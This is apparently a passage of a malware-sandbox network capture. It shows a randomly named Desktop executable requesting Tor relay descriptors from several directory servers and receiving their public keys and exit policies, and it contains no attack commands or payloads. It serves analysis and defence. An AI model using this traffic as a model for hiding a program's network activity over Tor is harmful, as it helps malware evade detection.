Oct 24, 2022 11:09:50.499972105 CEST	7685	OUT	GET /tor/server/fp/b34cc9056250847d1980f08285b01cf0b718c0b6 HTTP/1.0 Host: 74.208.203.175 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:50.799948931 CEST	7686	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:09:50 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:09:50 GMT Data Raw: 72 6f 75 74 65 72 20 43 61 6c 79 78 49 6e 73 74 69 74 75 74 65 31 32 20 31 36 32 2e 32 34 37 2e 37 32 2e 31 39 39 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 4d 54 41 52 2b 79 68 37 58 78 2b 73 71 75 30 6b 4d 46 38 32 6e 68 4e 36 79 4c 77 59 30 68 42 4a 5a 55 54 4f 4f 4c 33 37 78 56 69 65 31 69 41 51 41 67 42 41 42 37 61 64 51 67 0a 33 61 74 65 35 76 56 5a 57 70 42 67 76 69 77 6f 72 48 35 4b 52 55 46 56 69 4c 64 4e 71 49 72 71 43 62 72 4a 45 6c 56 75 75 69 55 42 6c 48 64 32 2b 73 7a 67 39 56 6c 6b 34 77 66 79 7a 48 79 73 0a 59 33 72 6f 72 32 54 38 63 62 6f 74 6c 4f 7a 59 65 51 72 53 37 51 35 6f 4b 72 41 54 79 4a 31 35 34 35 41 68 33 41 30 67 51 54 49 54 66 36 58 44 6a 51 56 51 30 68 61 47 52 67 49 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 65 32 6e 55 49 4e 32 72 58 75 62 31 57 56 71 51 59 4c 34 73 4b 4b 78 2b 53 6b 56 42 56 59 69 33 54 61 69 4b 36 67 6d 36 79 52 49 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 38 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 34 20 30 31 3a 31 38 3a 31 35 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 42 33 34 43 20 43 39 30 35 20 36 32 35 30 20 38 34 37 44 20 31 39 38 30 20 46 30 38 32 20 38 35 42 30 20 31 43 46 30 20 42 37 31 38 20 43 30 42 36 0a 75 70 74 69 6d 65 20 35 35 39 35 33 30 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 32 32 37 35 33 39 38 38 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 32 37 41 41 43 30 33 33 45 33 41 30 38 38 31 31 37 45 30 34 32 31 34 38 31 46 43 45 36 41 46 44 36 43 33 33 37 34 32 46 20 35 61 35 35 43 49 50 45 4f 30 61 6c 4b 54 30 54 67 50 4e 2b 69 4e 71 7a 47 37 5a 35 30 4c 30 4e 62 50 41 4a 44 35 63 6d 69 47 6f 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4f 78 4d 31 64 37 38 42 6e 72 41 43 50 76 61 7a 46 42 43 6f 53 6e 56 32 46 6a 41 4d 73 6c 68 6b 33 64 37 4b 43 41 65 73 37 4e 6c 6d 42 6e 76 77 6b 39 79 70 74 64 53 0a 50 71 6c 53 6a 75 67 32 6b 52 51 56 76 7a 79 61 42 59 53 42 31 37 4a 73 58 34 64 79 47 69 75 51 71 32 32 6b 2f 34 58 4b 2b 59 41 57 5a 39 7a 54 69 42 46 36 65 69 4d 39 77 61 67 52 38 77 69 66 0a 56 41 37 72 51 35 57 4b 64 54 34 6e 4e 72 45 57 62 4b 62 7a 31 54 44 68 31 4a 74 42 77 39 63 31 43 6c 48 70 6e 44 74 48 34 4c 6b 6b 45 47 35 5a 46 39 33 78 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 Data Ascii: router CalyxInstitute12 162.247.72.199 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxMTAR+yh7Xx+squ0kMF82nhN6yLwY0hBJZUTOOL37xVie1iAQAgBAB7adQg3ate5vVZWpBgviworH5KRUFViLdNqIrqCbrJElVuuiUBlHd2+szg9Vlk4wfyzHysY3ror2T8cbotlOzYeQrS7Q5oKrATyJ1545Ah3A0gQTITf6XDjQVQ0haGRgI=-----END ED25519 CERT-----master-key-ed25519 e2nUIN2rXub1WVqQYL4sKKx+SkVBVYi3TaiK6gm6yRIplatform Tor 0.4.7.8 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-24 01:18:15fingerprint B34C C905 6250 847D 1980 F082 85B0 1CF0 B718 C0B6uptime 559530bandwidth 1073741824 1073741824 22753988extra-info-digest 27AAC033E3A088117E0421481FCE6AFD6C33742F 5a55CIPEO0alKT0TgPN+iNqzG7Z50L0NbPAJD5cmiGoonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAOxM1d78BnrACPvazFBCoSnV2FjAMslhk3d7KCAes7NlmBnvwk9yptdSPqlSjug2kRQVvzyaBYSB17JsX4dyGiuQq22k/4XK+YAWZ9zTiBF6eiM9wagR8wifVA7rQ5WKdT4nNrEWbKbz1TDh1JtBw9c1ClHpnDtH4LkkEG5ZF93xAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGB
Oct 24, 2022 11:09:50.799993992 CEST	7687	IN	Data Raw: 41 4d 79 6f 4e 33 31 6c 74 79 41 74 30 55 36 57 6e 36 69 4b 56 4e 33 57 33 2b 2b 6f 35 50 77 6d 48 54 37 59 64 39 79 42 62 4d 61 66 59 43 50 4d 6d 33 69 76 72 4c 4c 62 0a 50 44 72 53 2f 39 50 34 38 49 46 35 76 58 66 70 31 78 66 42 78 39 74 55 44 Data Ascii: AMyoN31ltyAt0U6Wn6iKVN3W3++o5PwmHT7Yd9yBbMafYCPMm3ivrLLbPDrS/9P48IF5vXfp1xfBx9tUDsq/YAZ2btDZLPhhB6horQElc9Ky1Muf0VyZX3/4hasHBa99a+FmOgiWk3pdb1Uz+wHKqqx3kQTx3DDs0QxEbAGMgH0JAgMBAAE=-----END RSA PUBLIC KEY-----onion-key-crosscert-----BEGIN
Oct 24, 2022 11:09:50.800014973 CEST	7688	IN	Data Raw: 39 43 38 38 46 43 30 36 36 45 35 45 33 33 30 30 45 20 24 30 42 35 45 35 45 37 30 46 46 45 41 39 43 37 46 39 46 46 44 31 33 42 38 45 31 36 39 31 36 41 36 30 38 46 33 45 39 45 42 20 24 31 42 39 46 41 43 46 32 35 45 31 37 44 32 36 45 33 30 37 45 41 Data Ascii: 9C88FC066E5E3300E $0B5E5E70FFEA9C7F9FFD13B8E16916A608F3E9EB $1B9FACF25E17D26E307EA7CFA7D455B144B032E5 $3329E736CCA16449D02D567D42683BF1FD798676 $42ED91DD3768F6A2A194D094A7432CBE8DA004B1 $47E49319DD67784F1E65B5793371BE467365979E $501B3DBF250B09
Oct 24, 2022 11:09:50.800035954 CEST	7690	IN	Data Raw: 65 70 74 20 2a 3a 34 36 34 0a 61 63 63 65 70 74 20 2a 3a 35 33 31 0a 61 63 63 65 70 74 20 2a 3a 35 34 33 2d 35 34 34 0a 61 63 63 65 70 74 20 2a 3a 35 35 34 0a 61 63 63 65 70 74 20 2a 3a 35 36 33 0a 61 63 63 65 70 74 20 2a 3a 36 33 36 0a 61 63 63 Data Ascii: ept :464accept :531accept :543-544accept :554accept :563accept :636accept :706accept :749accept :873accept :902-904accept :981accept :989-995accept :1194accept :1220accept :1293accept :1500accept :1533accept

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49719	199.249.230.179	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:09:51.922444105 CEST	7696	OUT	GET /tor/server/fp/43ad3376735b4a227920ad06d2d9b6970b3c75df HTTP/1.0 Host: 199.249.230.179 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:52.481362104 CEST	7698	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:09:52 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:09:52 GMT Data Raw: 72 6f 75 74 65 72 20 74 6f 72 72 65 6e 74 6f 72 20 37 38 2e 39 34 2e 37 34 2e 32 33 36 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 46 6f 41 61 73 76 41 47 50 48 79 4b 4f 59 78 66 45 34 5a 31 45 61 6c 7a 71 6f 68 72 68 41 52 4b 43 50 6f 6b 6e 74 57 59 31 42 56 52 46 4e 41 51 41 67 42 41 42 41 68 43 4c 5a 0a 69 63 4e 46 6e 4f 6a 76 4a 77 56 30 50 31 4f 39 56 4c 69 59 61 4d 53 65 78 33 70 6b 75 46 57 71 52 78 66 55 72 78 6d 61 39 4c 49 51 79 4e 4b 42 50 66 36 78 74 67 6a 59 32 50 73 42 55 6b 74 41 0a 61 73 4e 59 50 56 35 5a 70 54 69 4f 55 39 62 4b 50 73 4b 35 44 55 6a 4e 31 7a 33 77 49 37 38 74 39 48 55 4e 61 67 30 61 34 76 6e 76 4e 2b 32 6e 2b 49 67 6d 50 6f 50 34 42 51 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 51 49 51 69 32 59 6e 44 52 5a 7a 6f 37 79 63 46 64 44 39 54 76 56 53 34 6d 47 6a 45 6e 73 64 36 5a 4c 68 56 71 6b 63 58 31 4b 38 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 33 20 31 33 3a 31 38 3a 34 35 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 33 41 44 20 33 33 37 36 20 37 33 35 42 20 34 41 32 32 20 37 39 32 30 20 41 44 30 36 20 44 32 44 39 20 42 36 39 37 20 30 42 33 43 20 37 35 44 46 0a 75 70 74 69 6d 65 20 33 32 35 33 35 32 0a 62 61 6e 64 77 69 64 74 68 20 35 32 34 32 38 38 20 31 30 34 38 35 37 36 20 35 33 38 32 32 38 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 46 43 41 33 39 42 32 31 30 39 37 46 31 43 41 31 30 45 44 45 34 37 32 32 43 31 35 33 32 34 35 33 30 37 36 35 38 34 39 36 20 49 4a 5a 4f 73 2f 38 50 46 53 30 71 61 50 42 35 77 58 61 4b 52 37 4a 6b 49 59 70 6a 37 58 70 61 49 45 30 46 46 6e 68 79 47 57 6f 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 46 34 6e 41 4d 58 51 36 76 68 72 55 50 6b 39 2f 44 4c 70 2f 62 58 55 31 6b 42 64 57 6e 55 51 57 4d 57 67 4c 69 71 56 75 6e 7a 63 78 70 56 30 74 48 43 62 52 61 66 0a 6a 4a 32 72 76 30 44 4e 4f 58 71 57 75 39 55 45 54 31 75 43 49 41 78 57 48 66 65 4e 72 66 72 77 4b 6b 72 59 6a 6f 67 39 66 78 4d 5a 4e 4e 67 43 77 33 38 33 6f 56 46 76 43 73 7a 45 44 75 75 58 0a 32 64 6f 41 66 46 50 6b 7a 6c 53 77 76 67 65 4d 5a 45 70 76 4d 53 2f 49 4a 6d 45 69 2f 6d 43 48 6e 57 59 30 55 72 6c 74 6b 44 7a 36 75 6e 78 6b 73 34 48 48 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 4a 65 44 77 37 57 4a 4c 2b 41 65 50 52 51 Data Ascii: router torrentor 78.94.74.236 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxFoAasvAGPHyKOYxfE4Z1EalzqohrhARKCPokntWY1BVRFNAQAgBABAhCLZicNFnOjvJwV0P1O9VLiYaMSex3pkuFWqRxfUrxma9LIQyNKBPf6xtgjY2PsBUktAasNYPV5ZpTiOU9bKPsK5DUjN1z3wI78t9HUNag0a4vnvN+2n+IgmPoP4BQE=-----END ED25519 CERT-----master-key-ed25519 QIQi2YnDRZzo7ycFdD9TvVS4mGjEnsd6ZLhVqkcX1K8platform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-23 13:18:45fingerprint 43AD 3376 735B 4A22 7920 AD06 D2D9 B697 0B3C 75DFuptime 325352bandwidth 524288 1048576 538228extra-info-digest FCA39B21097F1CA10EDE4722C153245307658496 IJZOs/8PFS0qaPB5wXaKR7JkIYpj7XpaIE0FFnhyGWoonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMF4nAMXQ6vhrUPk9/DLp/bXU1kBdWnUQWMWgLiqVunzcxpV0tHCbRafjJ2rv0DNOXqWu9UET1uCIAxWHfeNrfrwKkrYjog9fxMZNNgCw383oVFvCszEDuuX2doAfFPkzlSwvgeMZEpvMS/IJmEi/mCHnWY0UrltkDz6unxks4HHAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKJeDw7WJL+AePRQ
Oct 24, 2022 11:09:52.481412888 CEST	7699	IN	Data Raw: 69 5a 4d 4d 7a 52 31 57 6d 68 71 69 6d 75 51 68 51 66 5a 67 56 7a 41 4b 48 53 69 45 2f 4a 4b 68 48 67 6e 67 42 4e 65 53 0a 78 46 2f 49 35 41 4a 77 43 35 48 48 62 4d 31 49 7a 4a 6f 2b 79 6f 6e 75 4b 38 69 4a 4d 64 65 74 4e 50 45 2f 57 69 78 34 6b Data Ascii: iZMMzR1WmhqimuQhQfZgVzAKHSiE/JKhHgngBNeSxF/I5AJwC5HHbM1IzJo+yonuK8iJMdetNPE/Wix4kJxPNcb8pzbWlX6QsITe2rwmu4jrt8olwDtlqDinv0TQhtv6JYuoasTRFaDW1MxnLVPjPBn4O9gPAgMBAAE=-----END RSA PUBLIC KEY-----onion-key-crosscert-----BEGIN CROSSCERT-----r
Oct 24, 2022 11:09:52.481441021 CEST	7699	IN	Data Raw: 6b 2e 6f 72 67 0a 6e 74 6f 72 2d 6f 6e 69 6f 6e 2d 6b 65 79 20 57 69 49 4b 59 6a 6c 65 6e 4b 51 5a 49 52 50 6e 4d 53 6e 61 59 35 7a 76 32 35 53 32 73 4c 34 47 36 47 49 65 6a 77 65 62 51 42 6b 0a 72 65 6a 65 63 74 20 2a 3a 2a 0a 74 75 6e 6e 65 6c Data Ascii: k.orgntor-onion-key WiIKYjlenKQZIRPnMSnaY5zv25S2sL4G6GIejwebQBkreject :tunnelled-dir-serverrouter-sig-ed25519 hkKRsPRaAoUsHBSPCOJrPLHXKBEE/6hCIrwQBeWihXZHgMzbT8TAwmrrGVQqY6u5xGqq3tbhWthQOpbo7xq+AQrouter-signature-----BEGIN SIGNATURE---

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49720	185.216.179.206	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:09:53.498408079 CEST	7706	OUT	GET /tor/server/fp/43af24071b400911629d5bc9fc20de335f9dfc00 HTTP/1.0 Host: 185.216.179.206 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:53.653026104 CEST	7707	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:09:53 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:09:53 GMT Data Raw: 72 6f 75 74 65 72 20 44 69 65 59 6f 75 52 65 62 65 6c 53 63 75 6d 31 20 31 36 31 2e 35 33 2e 31 36 30 2e 31 30 34 20 39 30 39 30 20 30 20 39 30 39 31 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 4a 61 41 56 4f 78 59 71 63 73 77 4d 58 78 71 48 68 54 69 42 4f 44 33 50 78 53 62 34 51 50 4c 7a 76 6a 38 4c 6a 4e 58 38 6f 38 43 2b 55 2b 41 51 41 67 42 41 44 70 33 36 43 75 0a 73 30 6c 35 35 37 2b 63 65 57 6f 62 33 54 69 76 71 34 4f 2b 75 4b 73 39 61 43 39 72 50 75 66 4d 43 32 51 38 39 39 6d 32 51 34 4e 4c 55 55 6d 4b 56 6c 62 42 75 2b 6c 70 2b 74 71 77 4f 38 63 37 0a 72 7a 65 4f 62 30 51 61 31 65 6a 6a 72 69 56 4e 42 5a 6d 77 34 69 2b 6e 54 42 51 4f 39 75 34 61 61 74 59 4a 48 52 76 44 4c 49 37 4e 64 69 69 64 35 36 63 63 64 51 59 2f 49 41 55 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 36 64 2b 67 72 72 4e 4a 65 65 65 2f 6e 48 6c 71 47 39 30 34 72 36 75 44 76 72 69 72 50 57 67 76 61 7a 37 6e 7a 41 74 6b 50 50 63 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 35 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 20 48 53 44 69 72 3d 31 2d 32 20 48 53 49 6e 74 72 6f 3d 33 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 33 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 33 20 31 34 3a 34 31 3a 31 33 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 33 41 46 20 32 34 30 37 20 31 42 34 30 20 30 39 31 31 20 36 32 39 44 20 35 42 43 39 20 46 43 32 30 20 44 45 33 33 20 35 46 39 44 20 46 43 30 30 0a 75 70 74 69 6d 65 20 31 31 30 31 36 34 32 0a 62 61 6e 64 77 69 64 74 68 20 32 30 39 37 31 35 32 20 34 31 39 34 33 30 34 20 32 31 39 34 33 31 37 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 41 31 46 43 34 31 30 45 37 44 35 32 46 34 39 32 42 43 31 31 45 34 44 36 39 31 33 45 35 38 32 30 43 31 35 30 38 42 44 43 20 33 62 44 71 31 79 71 6d 42 63 6f 57 43 68 52 43 46 33 4a 4e 30 2b 70 64 58 6d 45 6b 38 6b 6c 75 2f 4b 4f 2b 67 6d 62 66 65 6e 63 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 62 58 53 2b 6a 2f 4d 34 66 4c 36 46 79 4d 2f 39 4f 39 4b 4e 4a 36 64 54 79 70 4a 48 62 45 6e 6d 6a 6d 76 42 2f 46 33 30 2f 65 42 72 4b 53 55 56 54 6c 42 6e 45 53 0a 75 4c 36 57 2b 48 50 5a 76 53 6d 4a 43 68 62 70 48 63 42 53 63 6f 56 42 49 57 33 4b 32 42 7a 69 52 6c 56 4b 36 4f 61 2b 4b 73 75 54 31 79 2f 33 44 47 68 37 56 69 39 6b 4c 34 39 54 74 35 34 6e 0a 6d 7a 72 49 78 30 4b 32 35 76 45 30 71 36 31 52 35 78 49 7a 6d 51 30 31 63 56 2b 52 36 37 71 58 70 6a 32 5a 71 65 39 7a 50 6e 71 4a 59 64 58 65 2b 73 64 7a 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 Data Ascii: router DieYouRebelScum1 161.53.160.104 9090 0 9091identity-ed25519-----BEGIN ED25519 CERT-----AQQABxJaAVOxYqcswMXxqHhTiBOD3PxSb4QPLzvj8LjNX8o8C+U+AQAgBADp36Cus0l557+ceWob3Tivq4O+uKs9aC9rPufMC2Q899m2Q4NLUUmKVlbBu+lp+tqwO8c7rzeOb0Qa1ejjriVNBZmw4i+nTBQO9u4aatYJHRvDLI7Ndiid56ccdQY/IAU=-----END ED25519 CERT-----master-key-ed25519 6d+grrNJeee/nHlqG904r6uDvrirPWgvaz7nzAtkPPcplatform Tor 0.4.5.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1 HSDir=1-2 HSIntro=3-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-3published 2022-10-23 14:41:13fingerprint 43AF 2407 1B40 0911 629D 5BC9 FC20 DE33 5F9D FC00uptime 1101642bandwidth 2097152 4194304 2194317extra-info-digest A1FC410E7D52F492BC11E4D6913E5820C1508BDC 3bDq1yqmBcoWChRCF3JN0+pdXmEk8klu/KO+gmbfenconion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBANbXS+j/M4fL6FyM/9O9KNJ6dTypJHbEnmjmvB/F30/eBrKSUVTlBnESuL6W+HPZvSmJChbpHcBScoVBIW3K2BziRlVK6Oa+KsuT1y/3DGh7Vi9kL49Tt54nmzrIx0K25vE0q61R5xIzmQ01cV+R67qXpj2Zqe9zPnqJYdXe+sdzAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBA
Oct 24, 2022 11:09:53.653059959 CEST	7708	IN	Data Raw: 4c 61 56 63 53 56 6a 76 48 59 75 61 30 56 71 79 77 37 51 6e 43 45 2f 52 68 4d 4f 30 77 72 76 56 34 54 31 4b 61 37 76 53 64 61 56 39 51 73 71 75 72 77 6a 50 54 70 76 0a 37 53 52 50 32 62 30 76 75 6e 49 70 74 33 75 4a 42 65 66 57 6f 57 54 44 5a 69 Data Ascii: LaVcSVjvHYua0Vqyw7QnCE/RhMO0wrvV4T1Ka7vSdaV9QsqurwjPTpv7SRP2b0vunIpt3uJBefWoWTDZilvR8djom1YhbKFoVojdnubXBDSrYOukbOxOKrnvUrEYwPqpAnl/r6gb4q1Q6j7te4rwqxLJc0ira4lVCkrsfQFAcEBAgMBAAE=-----END RSA PUBLIC KEY-----onion-key-crosscert-----BEGIN C
Oct 24, 2022 11:09:53.653076887 CEST	7708	IN	Data Raw: 63 61 72 6e 65 74 2e 68 72 3e 0a 6e 74 6f 72 2d 6f 6e 69 6f 6e 2d 6b 65 79 20 6b 59 66 4a 73 71 5a 65 57 48 30 35 51 42 4d 53 4e 77 42 45 6d 30 4e 7a 4d 59 78 6c 55 4a 6e 74 31 33 51 62 78 4e 66 46 6d 68 34 0a 72 65 6a 65 63 74 20 2a 3a 2a 0a 74 Data Ascii: carnet.hr>ntor-onion-key kYfJsqZeWH05QBMSNwBEm0NzMYxlUJnt13QbxNfFmh4reject :tunnelled-dir-serverrouter-sig-ed25519 Bmc4TW1BeR/2Uk+Arvs1/Ch/l8RKCLugIIP8pmLp9UDlbSlMHCWvEB1tVtLkjtvIO0j3GuoS1DIqSfcHaKkyCQrouter-signature-----BEGIN SIGNATU

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49721	94.131.2.71	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:09:55.251101017 CEST	7715	OUT	GET /tor/server/fp/43ca065f629e92fec9a82788f332232625a52b8e HTTP/1.0 Host: 94.131.2.71 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:55.473716974 CEST	7716	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:09:55 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:09:55 GMT Data Raw: 72 6f 75 74 65 72 20 70 6c 61 74 69 6e 75 6d 20 32 30 38 2e 38 35 2e 32 30 2e 31 36 38 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 48 77 41 66 4a 76 52 78 36 51 30 7a 6f 4f 62 6b 77 59 64 63 73 30 34 32 45 38 4d 49 50 2f 2b 77 37 33 42 79 78 2b 71 67 44 42 4c 34 2f 4d 41 51 41 67 42 41 44 4c 33 6b 32 4e 0a 49 65 65 78 37 62 4d 44 77 66 65 33 52 31 31 38 2b 46 34 6d 72 4f 4c 2b 36 39 41 45 62 32 50 43 31 64 2f 6f 5a 56 6b 50 46 56 61 6e 32 6a 30 62 75 43 65 66 4b 75 64 58 59 57 4e 7a 78 2f 66 46 0a 30 61 73 73 75 73 45 31 6a 6a 54 77 32 35 4c 42 32 6b 69 2b 30 7a 31 2f 59 64 51 31 71 4f 51 32 35 6e 72 36 50 51 63 32 61 70 46 71 37 79 41 72 75 55 66 7a 36 42 41 41 4d 77 30 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 